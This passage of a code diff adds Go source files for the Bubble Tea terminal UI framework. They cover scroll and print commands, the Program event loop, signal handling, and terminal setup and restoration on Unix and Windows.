// For high-performance, scroll-based rendering only.
//
// Deprecated: This option will be removed in a future version of this package.
func ScrollUp(newLines []string, topBoundary, bottomBoundary int) Cmd {
return func() Msg {
return scrollUpMsg{
lines: newLines,
topBoundary: topBoundary,
bottomBoundary: bottomBoundary,
}
}
}
type scrollDownMsg struct {
lines []string
topBoundary int
bottomBoundary int
}
// ScrollDown adds lines to the bottom of the scrollable region, pushing
// existing lines above up. Lines that are pushed out of the scrollable region
// disappear from view.
//
// For high-performance, scroll-based rendering only.
//
// Deprecated: This option will be removed in a future version of this package.
func ScrollDown(newLines []string, topBoundary, bottomBoundary int) Cmd {
return func() Msg {
return scrollDownMsg{
lines: newLines,
topBoundary: topBoundary,
bottomBoundary: bottomBoundary,
}
}
}
type printLineMessage struct {
messageBody string
}
// Println prints above the Program. This output is unmanaged by the program and
// will persist across renders by the Program.
//
// Unlike fmt.Println (but similar to log.Println) the message will be print on
// its own line.
//
// If the altscreen is active no output will be printed.
func Println(args ...interface{}) Cmd {
return func() Msg {
return printLineMessage{
messageBody: fmt.Sprint(args...),
}
}
}
// Printf prints above the Program. It takes a format template followed by
// values similar to fmt.Printf. This output is unmanaged by the program and
// will persist across renders by the Program.
//
// Unlike fmt.Printf (but similar to log.Printf) the message will be print on
// its own line.
//
// If the altscreen is active no output will be printed.
func Printf(template string, args ...interface{}) Cmd {
return func() Msg {
return printLineMessage{
messageBody: fmt.Sprintf(template, args...),
}
}
}
+941
View File
@@ -0,0 +1,941 @@
// Package tea provides a framework for building rich terminal user interfaces
// based on the paradigms of The Elm Architecture. It's well-suited for simple
// and complex terminal applications, either inline, full-window, or a mix of
// both. It's been battle-tested in several large projects and is
// production-ready.
//
// A tutorial is available at https://github.com/charmbracelet/bubbletea/tree/master/tutorials
//
// Example programs can be found at https://github.com/charmbracelet/bubbletea/tree/master/examples
package tea
import (
"context"
"errors"
"fmt"
"io"
"os"
"os/signal"
"runtime"
"runtime/debug"
"sync"
"sync/atomic"
"syscall"
"github.com/charmbracelet/x/term"
"github.com/muesli/cancelreader"
)
// ErrProgramPanic is returned by [Program.Run] when the program recovers from a panic.
var ErrProgramPanic = errors.New("program experienced a panic")
// ErrProgramKilled is returned by [Program.Run] when the program gets killed.
var ErrProgramKilled = errors.New("program was killed")
// ErrInterrupted is returned by [Program.Run] when the program get a SIGINT
// signal, or when it receives a [InterruptMsg].
var ErrInterrupted = errors.New("program was interrupted")
// Msg contain data from the result of a IO operation. Msgs trigger the update
// function and, henceforth, the UI.
type Msg interface{}
// Model contains the program's state as well as its core functions.
type Model interface {
// Init is the first function that will be called. It returns an optional
// initial command. To not perform an initial command return nil.
Init() Cmd
// Update is called when a message is received. Use it to inspect messages
// and, in response, update the model and/or send a command.
Update(Msg) (Model, Cmd)
// View renders the program's UI, which is just a string. The view is
// rendered after every Update.
View() string
}
// Cmd is an IO operation that returns a message when it's complete. If it's
// nil it's considered a no-op. Use it for things like HTTP requests, timers,
// saving and loading from disk, and so on.
//
// Note that there's almost never a reason to use a command to send a message
// to another part of your program. That can almost always be done in the
// update function.
type Cmd func() Msg
type inputType int
const (
defaultInput inputType = iota
ttyInput
customInput
)
// String implements the stringer interface for [inputType]. It is intended to
// be used in testing.
func (i inputType) String() string {
return [...]string{
"default input",
"tty input",
"custom input",
}[i]
}
// Options to customize the program during its initialization. These are
// generally set with ProgramOptions.
//
// The options here are treated as bits.
type startupOptions int16
func (s startupOptions) has(option startupOptions) bool {
return s&option != 0
}
const (
withAltScreen startupOptions = 1 << iota
withMouseCellMotion
withMouseAllMotion
withANSICompressor
withoutSignalHandler
// Catching panics is incredibly useful for restoring the terminal to a
// usable state after a panic occurs. When this is set, Bubble Tea will
// recover from panics, print the stack trace, and disable raw mode. This
// feature is on by default.
withoutCatchPanics
withoutBracketedPaste
withReportFocus
)
// channelHandlers manages the series of channels returned by various processes.
// It allows us to wait for those processes to terminate before exiting the
// program.
type channelHandlers []chan struct{}
// Adds a channel to the list of handlers. We wait for all handlers to terminate
// gracefully on shutdown.
func (h *channelHandlers) add(ch chan struct{}) {
*h = append(*h, ch)
}
// shutdown waits for all handlers to terminate.
func (h channelHandlers) shutdown() {
var wg sync.WaitGroup
for _, ch := range h {
wg.Add(1)
go func(ch chan struct{}) {
<-ch
wg.Done()
}(ch)
}
wg.Wait()
}
// Program is a terminal user interface.
type Program struct {
initialModel Model
// handlers is a list of channels that need to be waited on before the
// program can exit.
handlers channelHandlers
// Configuration options that will set as the program is initializing,
// treated as bits. These options can be set via various ProgramOptions.
startupOptions startupOptions
// startupTitle is the title that will be set on the terminal when the
// program starts.
startupTitle string
inputType inputType
// externalCtx is a context that was passed in via WithContext, otherwise defaulting
// to ctx.Background() (in case it was not), the internal context is derived from it.
externalCtx context.Context
// ctx is the programs's internal context for signalling internal teardown.
// It is built and derived from the externalCtx in NewProgram().
ctx context.Context
cancel context.CancelFunc
msgs chan Msg
errs chan error
finished chan struct{}
// where to send output, this will usually be os.Stdout.
output io.Writer
// ttyOutput is null if output is not a TTY.
ttyOutput term.File
previousOutputState *term.State
renderer renderer
// the environment variables for the program, defaults to os.Environ().
environ []string
// where to read inputs from, this will usually be os.Stdin.
input io.Reader
// ttyInput is null if input is not a TTY.
ttyInput term.File
previousTtyInputState *term.State
cancelReader cancelreader.CancelReader
readLoopDone chan struct{}
// was the altscreen active before releasing the terminal?
altScreenWasActive bool
ignoreSignals uint32
bpWasActive bool // was the bracketed paste mode active before releasing the terminal?
reportFocus bool // was focus reporting active before releasing the terminal?
filter func(Model, Msg) Msg
// fps is the frames per second we should set on the renderer, if
// applicable,
fps int
// mouseMode is true if the program should enable mouse mode on Windows.
mouseMode bool
}
// Quit is a special command that tells the Bubble Tea program to exit.
func Quit() Msg {
return QuitMsg{}
}
// QuitMsg signals that the program should quit. You can send a [QuitMsg] with
// [Quit].
type QuitMsg struct{}
// Suspend is a special command that tells the Bubble Tea program to suspend.
func Suspend() Msg {
return SuspendMsg{}
}
// SuspendMsg signals the program should suspend.
// This usually happens when ctrl+z is pressed on common programs, but since
// bubbletea puts the terminal in raw mode, we need to handle it in a
// per-program basis.
//
// You can send this message with [Suspend()].
type SuspendMsg struct{}
// ResumeMsg can be listen to do something once a program is resumed back
// from a suspend state.
type ResumeMsg struct{}
// InterruptMsg signals the program should suspend.
// This usually happens when ctrl+c is pressed on common programs, but since
// bubbletea puts the terminal in raw mode, we need to handle it in a
// per-program basis.
//
// You can send this message with [Interrupt()].
type InterruptMsg struct{}
// Interrupt is a special command that tells the Bubble Tea program to
// interrupt.
func Interrupt() Msg {
return InterruptMsg{}
}
// NewProgram creates a new Program.
func NewProgram(model Model, opts ...ProgramOption) *Program {
p := &Program{
initialModel: model,
msgs: make(chan Msg),
}
// Apply all options to the program.
for _, opt := range opts {
opt(p)
}
// A context can be provided with a ProgramOption, but if none was provided
// we'll use the default background context.
if p.externalCtx == nil {
p.externalCtx = context.Background()
}
// Initialize context and teardown channel.
p.ctx, p.cancel = context.WithCancel(p.externalCtx)
// if no output was set, set it to stdout
if p.output == nil {
p.output = os.Stdout
}
// if no environment was set, set it to os.Environ()
if p.environ == nil {
p.environ = os.Environ()
}
return p
}
func (p *Program) handleSignals() chan struct{} {
ch := make(chan struct{})
// Listen for SIGINT and SIGTERM.
//
// In most cases ^C will not send an interrupt because the terminal will be
// in raw mode and ^C will be captured as a keystroke and sent along to
// Program.Update as a KeyMsg. When input is not a TTY, however, ^C will be
// caught here.
//
// SIGTERM is sent by unix utilities (like kill) to terminate a process.
go func() {
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
defer func() {
signal.Stop(sig)
close(ch)
}()
for {
select {
case <-p.ctx.Done():
return
case s := <-sig:
if atomic.LoadUint32(&p.ignoreSignals) == 0 {
switch s {
case syscall.SIGINT:
p.msgs <- InterruptMsg{}
default:
p.msgs <- QuitMsg{}
}
return
}
}
}
}()
return ch
}
// handleResize handles terminal resize events.
func (p *Program) handleResize() chan struct{} {
ch := make(chan struct{})
if p.ttyOutput != nil {
// Get the initial terminal size and send it to the program.
go p.checkResize()
// Listen for window resizes.
go p.listenForResize(ch)
} else {
close(ch)
}
return ch
}
// handleCommands runs commands in a goroutine and sends the result to the
// program's message channel.
func (p *Program) handleCommands(cmds chan Cmd) chan struct{} {
ch := make(chan struct{})
go func() {
defer close(ch)
for {
select {
case <-p.ctx.Done():
return
case cmd := <-cmds:
if cmd == nil {
continue
}
// Don't wait on these goroutines, otherwise the shutdown
// latency would get too large as a Cmd can run for some time
// (e.g. tick commands that sleep for half a second). It's not
// possible to cancel them so we'll have to leak the goroutine
// until Cmd returns.
go func() {
// Recover from panics.
if !p.startupOptions.has(withoutCatchPanics) {
defer func() {
if r := recover(); r != nil {
p.recoverFromGoPanic(r)
}
}()
}
msg := cmd() // this can be long.
p.Send(msg)
}()
}
}
}()
return ch
}
func (p *Program) disableMouse() {
p.renderer.disableMouseCellMotion()
p.renderer.disableMouseAllMotion()
p.renderer.disableMouseSGRMode()
}
// eventLoop is the central message loop. It receives and handles the default
// Bubble Tea messages, update the model and triggers redraws.
func (p *Program) eventLoop(model Model, cmds chan Cmd) (Model, error) {
for {
select {
case <-p.ctx.Done():
return model, nil
case err := <-p.errs:
return model, err
case msg := <-p.msgs:
// Filter messages.
if p.filter != nil {
msg = p.filter(model, msg)
}
if msg == nil {
continue
}
// Handle special internal messages.
switch msg := msg.(type) {
case QuitMsg:
return model, nil
case InterruptMsg:
return model, ErrInterrupted
case SuspendMsg:
if suspendSupported {
p.suspend()
}
case clearScreenMsg:
p.renderer.clearScreen()
case enterAltScreenMsg:
p.renderer.enterAltScreen()
case exitAltScreenMsg:
p.renderer.exitAltScreen()
case enableMouseCellMotionMsg, enableMouseAllMotionMsg:
switch msg.(type) {
case enableMouseCellMotionMsg:
p.renderer.enableMouseCellMotion()
case enableMouseAllMotionMsg:
p.renderer.enableMouseAllMotion()
}
// mouse mode (1006) is a no-op if the terminal doesn't support it.
p.renderer.enableMouseSGRMode()
// XXX: This is used to enable mouse mode on Windows. We need
// to reinitialize the cancel reader to get the mouse events to
// work.
if runtime.GOOS == "windows" && !p.mouseMode {
p.mouseMode = true
p.initCancelReader(true) //nolint:errcheck,gosec
}
case disableMouseMsg:
p.disableMouse()
// XXX: On Windows, mouse mode is enabled on the input reader
// level. We need to instruct the input reader to stop reading
// mouse events.
if runtime.GOOS == "windows" && p.mouseMode {
p.mouseMode = false
p.initCancelReader(true) //nolint:errcheck,gosec
}
case showCursorMsg:
p.renderer.showCursor()
case hideCursorMsg:
p.renderer.hideCursor()
case enableBracketedPasteMsg:
p.renderer.enableBracketedPaste()
case disableBracketedPasteMsg:
p.renderer.disableBracketedPaste()
case enableReportFocusMsg:
p.renderer.enableReportFocus()
case disableReportFocusMsg:
p.renderer.disableReportFocus()
case execMsg:
// NB: this blocks.
p.exec(msg.cmd, msg.fn)
case BatchMsg:
go p.execBatchMsg(msg)
continue
case sequenceMsg:
go p.execSequenceMsg(msg)
continue
case setWindowTitleMsg:
p.SetWindowTitle(string(msg))
case windowSizeMsg:
go p.checkResize()
}
// Process internal messages for the renderer.
if r, ok := p.renderer.(*standardRenderer); ok {
r.handleMessages(msg)
}
var cmd Cmd
model, cmd = model.Update(msg) // run update
select {
case <-p.ctx.Done():
return model, nil
case cmds <- cmd: // process command (if any)
}
p.renderer.write(model.View()) // send view to renderer
}
}
}
func (p *Program) execSequenceMsg(msg sequenceMsg) {
if !p.startupOptions.has(withoutCatchPanics) {
defer func() {
if r := recover(); r != nil {
p.recoverFromGoPanic(r)
}
}()
}
// Execute commands one at a time, in order.
for _, cmd := range msg {
if cmd == nil {
continue
}
msg := cmd()
switch msg := msg.(type) {
case BatchMsg:
p.execBatchMsg(msg)
case sequenceMsg:
p.execSequenceMsg(msg)
default:
p.Send(msg)
}
}
}
func (p *Program) execBatchMsg(msg BatchMsg) {
if !p.startupOptions.has(withoutCatchPanics) {
defer func() {
if r := recover(); r != nil {
p.recoverFromGoPanic(r)
}
}()
}
// Execute commands one at a time.
var wg sync.WaitGroup
for _, cmd := range msg {
if cmd == nil {
continue
}
wg.Add(1)
go func() {
defer wg.Done()
if !p.startupOptions.has(withoutCatchPanics) {
defer func() {
if r := recover(); r != nil {
p.recoverFromGoPanic(r)
}
}()
}
msg := cmd()
switch msg := msg.(type) {
case BatchMsg:
p.execBatchMsg(msg)
case sequenceMsg:
p.execSequenceMsg(msg)
default:
p.Send(msg)
}
}()
}
wg.Wait() // wait for all commands from batch msg to finish
}
// Run initializes the program and runs its event loops, blocking until it gets
// terminated by either [Program.Quit], [Program.Kill], or its signal handler.
// Returns the final model.
func (p *Program) Run() (returnModel Model, returnErr error) {
p.handlers = channelHandlers{}
cmds := make(chan Cmd)
p.errs = make(chan error, 1)
p.finished = make(chan struct{})
defer func() {
close(p.finished)
}()
defer p.cancel()
switch p.inputType {
case defaultInput:
p.input = os.Stdin
// The user has not set a custom input, so we need to check whether or
// not standard input is a terminal. If it's not, we open a new TTY for
// input. This will allow things to "just work" in cases where data was
// piped in or redirected to the application.
//
// To disable input entirely pass nil to the [WithInput] program option.
f, isFile := p.input.(term.File)
if !isFile {
break
}
if term.IsTerminal(f.Fd()) {
break
}
f, err := openInputTTY()
if err != nil {
return p.initialModel, err
}
defer f.Close() //nolint:errcheck
p.input = f
case ttyInput:
// Open a new TTY, by request
f, err := openInputTTY()
if err != nil {
return p.initialModel, err
}
defer f.Close() //nolint:errcheck
p.input = f
case customInput:
// (There is nothing extra to do.)
}
// Handle signals.
if !p.startupOptions.has(withoutSignalHandler) {
p.handlers.add(p.handleSignals())
}
// Recover from panics.
if !p.startupOptions.has(withoutCatchPanics) {
defer func() {
if r := recover(); r != nil {
returnErr = fmt.Errorf("%w: %w", ErrProgramKilled, ErrProgramPanic)
p.recoverFromPanic(r)
}
}()
}
// If no renderer is set use the standard one.
if p.renderer == nil {
p.renderer = newRenderer(p.output, p.startupOptions.has(withANSICompressor), p.fps)
}
// Check if output is a TTY before entering raw mode, hiding the cursor and
// so on.
if err := p.initTerminal(); err != nil {
return p.initialModel, err
}
// Honor program startup options.
if p.startupTitle != "" {
p.renderer.setWindowTitle(p.startupTitle)
}
if p.startupOptions&withAltScreen != 0 {
p.renderer.enterAltScreen()
}
if p.startupOptions&withoutBracketedPaste == 0 {
p.renderer.enableBracketedPaste()
}
if p.startupOptions&withMouseCellMotion != 0 {
p.renderer.enableMouseCellMotion()
p.renderer.enableMouseSGRMode()
} else if p.startupOptions&withMouseAllMotion != 0 {
p.renderer.enableMouseAllMotion()
p.renderer.enableMouseSGRMode()
}
// XXX: Should we enable mouse mode on Windows?
// This needs to happen before initializing the cancel and input reader.
p.mouseMode = p.startupOptions&withMouseCellMotion != 0 || p.startupOptions&withMouseAllMotion != 0
if p.startupOptions&withReportFocus != 0 {
p.renderer.enableReportFocus()
}
// Start the renderer.
p.renderer.start()
// Initialize the program.
model := p.initialModel
if initCmd := model.Init(); initCmd != nil {
ch := make(chan struct{})
p.handlers.add(ch)
go func() {
defer close(ch)
select {
case cmds <- initCmd:
case <-p.ctx.Done():
}
}()
}
// Render the initial view.
p.renderer.write(model.View())
// Subscribe to user input.
if p.input != nil {
if err := p.initCancelReader(false); err != nil {
return model, err
}
}
// Handle resize events.
p.handlers.add(p.handleResize())
// Process commands.
p.handlers.add(p.handleCommands(cmds))
// Run event loop, handle updates and draw.
model, err := p.eventLoop(model, cmds)
if err == nil && len(p.errs) > 0 {
err = <-p.errs // Drain a leftover error in case eventLoop crashed
}
killed := p.externalCtx.Err() != nil || p.ctx.Err() != nil || err != nil
if killed {
if err == nil && p.externalCtx.Err() != nil {
// Return also as context error the cancellation of an external context.
// This is the context the user knows about and should be able to act on.
err = fmt.Errorf("%w: %w", ErrProgramKilled, p.externalCtx.Err())
} else if err == nil && p.ctx.Err() != nil {
// Return only that the program was killed (not the internal mechanism).
// The user does not know or need to care about the internal program context.
err = ErrProgramKilled
} else {
// Return that the program was killed and also the error that caused it.
err = fmt.Errorf("%w: %w", ErrProgramKilled, err)
}
} else {
// Graceful shutdown of the program (not killed):
// Ensure we rendered the final state of the model.
p.renderer.write(model.View())
}
// Restore terminal state.
p.shutdown(killed)
return model, err
}
// StartReturningModel initializes the program and runs its event loops,
// blocking until it gets terminated by either [Program.Quit], [Program.Kill],
// or its signal handler. Returns the final model.
//
// Deprecated: please use [Program.Run] instead.
func (p *Program) StartReturningModel() (Model, error) {
return p.Run()
}
// Start initializes the program and runs its event loops, blocking until it
// gets terminated by either [Program.Quit], [Program.Kill], or its signal
// handler.
//
// Deprecated: please use [Program.Run] instead.
func (p *Program) Start() error {
_, err := p.Run()
return err
}
// Send sends a message to the main update function, effectively allowing
// messages to be injected from outside the program for interoperability
// purposes.
//
// If the program hasn't started yet this will be a blocking operation.
// If the program has already been terminated this will be a no-op, so it's safe
// to send messages after the program has exited.
func (p *Program) Send(msg Msg) {
select {
case <-p.ctx.Done():
case p.msgs <- msg:
}
}
// Quit is a convenience function for quitting Bubble Tea programs. Use it
// when you need to shut down a Bubble Tea program from the outside.
//
// If you wish to quit from within a Bubble Tea program use the Quit command.
//
// If the program is not running this will be a no-op, so it's safe to call
// if the program is unstarted or has already exited.
func (p *Program) Quit() {
p.Send(Quit())
}
// Kill signals the program to stop immediately and restore the former terminal state.
// The final render that you would normally see when quitting will be skipped.
// [program.Run] returns a [ErrProgramKilled] error.
func (p *Program) Kill() {
p.cancel()
}
// Wait waits/blocks until the underlying Program finished shutting down.
func (p *Program) Wait() {
<-p.finished
}
// shutdown performs operations to free up resources and restore the terminal
// to its original state. It is called once at the end of the program's lifetime.
//
// This method should not be called to signal the program to be killed/shutdown.
// Doing so can lead to race conditions with the eventual call at the program's end.
// As alternatives, the [Quit] or [Kill] convenience methods should be used instead.
func (p *Program) shutdown(kill bool) {
p.cancel()
// Wait for all handlers to finish.
p.handlers.shutdown()
// Check if the cancel reader has been setup before waiting and closing.
if p.cancelReader != nil {
// Wait for input loop to finish.
if p.cancelReader.Cancel() {
if !kill {
p.waitForReadLoop()
}
}
_ = p.cancelReader.Close()
}
if p.renderer != nil {
if kill {
p.renderer.kill()
} else {
p.renderer.stop()
}
}
_ = p.restoreTerminalState()
}
// recoverFromPanic recovers from a panic, prints the stack trace, and restores
// the terminal to a usable state.
func (p *Program) recoverFromPanic(r interface{}) {
select {
case p.errs <- ErrProgramPanic:
default:
}
p.shutdown(true) // Ok to call here, p.Run() cannot do it anymore.
fmt.Printf("Caught panic:\n\n%s\n\nRestoring terminal...\n\n", r)
debug.PrintStack()
}
// recoverFromGoPanic recovers from a goroutine panic, prints a stack trace and
// signals for the program to be killed and terminal restored to a usable state.
func (p *Program) recoverFromGoPanic(r interface{}) {
select {
case p.errs <- ErrProgramPanic:
default:
}
p.cancel()
fmt.Printf("Caught goroutine panic:\n\n%s\n\nRestoring terminal...\n\n", r)
debug.PrintStack()
}
// ReleaseTerminal restores the original terminal state and cancels the input
// reader. You can return control to the Program with RestoreTerminal.
func (p *Program) ReleaseTerminal() error {
atomic.StoreUint32(&p.ignoreSignals, 1)
if p.cancelReader != nil {
p.cancelReader.Cancel()
}
p.waitForReadLoop()
if p.renderer != nil {
p.renderer.stop()
p.altScreenWasActive = p.renderer.altScreen()
p.bpWasActive = p.renderer.bracketedPasteActive()
p.reportFocus = p.renderer.reportFocus()
}
return p.restoreTerminalState()
}
// RestoreTerminal reinitializes the Program's input reader, restores the
// terminal to the former state when the program was running, and repaints.
// Use it to reinitialize a Program after running ReleaseTerminal.
func (p *Program) RestoreTerminal() error {
atomic.StoreUint32(&p.ignoreSignals, 0)
if err := p.initTerminal(); err != nil {
return err
}
if err := p.initCancelReader(false); err != nil {
return err
}
if p.altScreenWasActive {
p.renderer.enterAltScreen()
} else {
// entering alt screen already causes a repaint.
go p.Send(repaintMsg{})
}
if p.renderer != nil {
p.renderer.start()
}
if p.bpWasActive {
p.renderer.enableBracketedPaste()
}
if p.reportFocus {
p.renderer.enableReportFocus()
}
// If the output is a terminal, it may have been resized while another
// process was at the foreground, in which case we may not have received
// SIGWINCH. Detect any size change now and propagate the new size as
// needed.
go p.checkResize()
return nil
}
// Println prints above the Program. This output is unmanaged by the program
// and will persist across renders by the Program.
//
// If the altscreen is active no output will be printed.
func (p *Program) Println(args ...interface{}) {
p.msgs <- printLineMessage{
messageBody: fmt.Sprint(args...),
}
}
// Printf prints above the Program. It takes a format template followed by
// values similar to fmt.Printf. This output is unmanaged by the program and
// will persist across renders by the Program.
//
// Unlike fmt.Printf (but similar to log.Printf) the message will be print on
// its own line.
//
// If the altscreen is active no output will be printed.
func (p *Program) Printf(template string, args ...interface{}) {
p.msgs <- printLineMessage{
messageBody: fmt.Sprintf(template, args...),
}
}
+22
View File
@@ -0,0 +1,22 @@
package tea
import (
"github.com/charmbracelet/lipgloss"
)
func init() {
// XXX: This is a workaround to make assure that Lip Gloss and Termenv
// query the terminal before any Bubble Tea Program runs and acquires the
// terminal. Without this, Programs that use Lip Gloss/Termenv might hang
// while waiting for a a [termenv.OSCTimeout] while querying the terminal
// for its background/foreground colors.
//
// This happens because Bubble Tea acquires the terminal before termenv
// reads any responses.
//
// Note that this will only affect programs running on the default IO i.e.
// [os.Stdout] and [os.Stdin].
//
// This workaround will be removed in v2.
_ = lipgloss.HasDarkBackground()
}
+141
View File
@@ -0,0 +1,141 @@
package tea
import (
"errors"
"fmt"
"io"
"time"
"github.com/charmbracelet/x/term"
"github.com/muesli/cancelreader"
)
func (p *Program) suspend() {
if err := p.ReleaseTerminal(); err != nil {
// If we can't release input, abort.
return
}
suspendProcess()
_ = p.RestoreTerminal()
go p.Send(ResumeMsg{})
}
func (p *Program) initTerminal() error {
if _, ok := p.renderer.(*nilRenderer); ok {
// No need to initialize the terminal if we're not rendering
return nil
}
if err := p.initInput(); err != nil {
return err
}
p.renderer.hideCursor()
return nil
}
// restoreTerminalState restores the terminal to the state prior to running the
// Bubble Tea program.
func (p *Program) restoreTerminalState() error {
if p.renderer != nil {
p.renderer.disableBracketedPaste()
p.renderer.showCursor()
p.disableMouse()
if p.renderer.reportFocus() {
p.renderer.disableReportFocus()
}
if p.renderer.altScreen() {
p.renderer.exitAltScreen()
// give the terminal a moment to catch up
time.Sleep(time.Millisecond * 10) //nolint:mnd
}
}
return p.restoreInput()
}
// restoreInput restores the tty input to its original state.
func (p *Program) restoreInput() error {
if p.ttyInput != nil && p.previousTtyInputState != nil {
if err := term.Restore(p.ttyInput.Fd(), p.previousTtyInputState); err != nil {
return fmt.Errorf("error restoring console: %w", err)
}
}
if p.ttyOutput != nil && p.previousOutputState != nil {
if err := term.Restore(p.ttyOutput.Fd(), p.previousOutputState); err != nil {
return fmt.Errorf("error restoring console: %w", err)
}
}
return nil
}
// initCancelReader (re)commences reading inputs.
func (p *Program) initCancelReader(cancel bool) error {
if cancel && p.cancelReader != nil {
p.cancelReader.Cancel()
p.waitForReadLoop()
}
var err error
p.cancelReader, err = newInputReader(p.input, p.mouseMode)
if err != nil {
return fmt.Errorf("error creating cancelreader: %w", err)
}
p.readLoopDone = make(chan struct{})
go p.readLoop()
return nil
}
func (p *Program) readLoop() {
defer close(p.readLoopDone)
err := readInputs(p.ctx, p.msgs, p.cancelReader)
if !errors.Is(err, io.EOF) && !errors.Is(err, cancelreader.ErrCanceled) {
select {
case <-p.ctx.Done():
case p.errs <- err:
}
}
}
// waitForReadLoop waits for the cancelReader to finish its read loop.
func (p *Program) waitForReadLoop() {
select {
case <-p.readLoopDone:
case <-time.After(500 * time.Millisecond): //nolint:mnd
// The read loop hangs, which means the input
// cancelReader's cancel function has returned true even
// though it was not able to cancel the read.
}
}
// checkResize detects the current size of the output and informs the program
// via a WindowSizeMsg.
func (p *Program) checkResize() {
if p.ttyOutput == nil {
// can't query window size
return
}
w, h, err := term.GetSize(p.ttyOutput.Fd())
if err != nil {
select {
case <-p.ctx.Done():
case p.errs <- err:
}
return
}
p.Send(WindowSizeMsg{
Width: w,
Height: h,
})
}
+49
View File
@@ -0,0 +1,49 @@
//go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || aix || zos
// +build darwin dragonfly freebsd linux netbsd openbsd solaris aix zos
package tea
import (
"fmt"
"os"
"os/signal"
"syscall"
"github.com/charmbracelet/x/term"
)
func (p *Program) initInput() (err error) {
// Check if input is a terminal
if f, ok := p.input.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyInput = f
p.previousTtyInputState, err = term.MakeRaw(p.ttyInput.Fd())
if err != nil {
return fmt.Errorf("error entering raw mode: %w", err)
}
}
if f, ok := p.output.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyOutput = f
}
return nil
}
func openInputTTY() (*os.File, error) {
f, err := os.Open("/dev/tty")
if err != nil {
return nil, fmt.Errorf("could not open a new TTY: %w", err)
}
return f, nil
}
const suspendSupported = true
// Send SIGTSTP to the entire process group.
func suspendProcess() {
c := make(chan os.Signal, 1)
signal.Notify(c, syscall.SIGCONT)
_ = syscall.Kill(0, syscall.SIGTSTP)
// blocks until a CONT happens...
<-c
}
+68
View File
@@ -0,0 +1,68 @@
//go:build windows
// +build windows
package tea
import (
"fmt"
"os"
"github.com/charmbracelet/x/term"
"golang.org/x/sys/windows"
)
func (p *Program) initInput() (err error) {
// Save stdin state and enable VT input
// We also need to enable VT
// input here.
if f, ok := p.input.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyInput = f
p.previousTtyInputState, err = term.MakeRaw(p.ttyInput.Fd())
if err != nil {
return fmt.Errorf("error making raw: %w", err)
}
// Enable VT input
var mode uint32
if err := windows.GetConsoleMode(windows.Handle(p.ttyInput.Fd()), &mode); err != nil {
return fmt.Errorf("error getting console mode: %w", err)
}
if err := windows.SetConsoleMode(windows.Handle(p.ttyInput.Fd()), mode|windows.ENABLE_VIRTUAL_TERMINAL_INPUT); err != nil {
return fmt.Errorf("error setting console mode: %w", err)
}
}
// Save output screen buffer state and enable VT processing.
if f, ok := p.output.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyOutput = f
p.previousOutputState, err = term.GetState(f.Fd())
if err != nil {
return fmt.Errorf("error getting state: %w", err)
}
var mode uint32
if err := windows.GetConsoleMode(windows.Handle(p.ttyOutput.Fd()), &mode); err != nil {
return fmt.Errorf("error getting console mode: %w", err)
}
if err := windows.SetConsoleMode(windows.Handle(p.ttyOutput.Fd()), mode|windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING); err != nil {
return fmt.Errorf("error setting console mode: %w", err)
}
}
return nil
}
// Open the Windows equivalent of a TTY.
func openInputTTY() (*os.File, error) {
f, err := os.OpenFile("CONIN$", os.O_RDWR, 0o644) //nolint:gosec
if err != nil {
return nil, fmt.Errorf("error opening file: %w", err)
}
return f, nil
}
const suspendSupported = false
func suspendProcess() {}
Loaded 100 of 322 files, more files were not shown because too many files have changed in this diff. Show more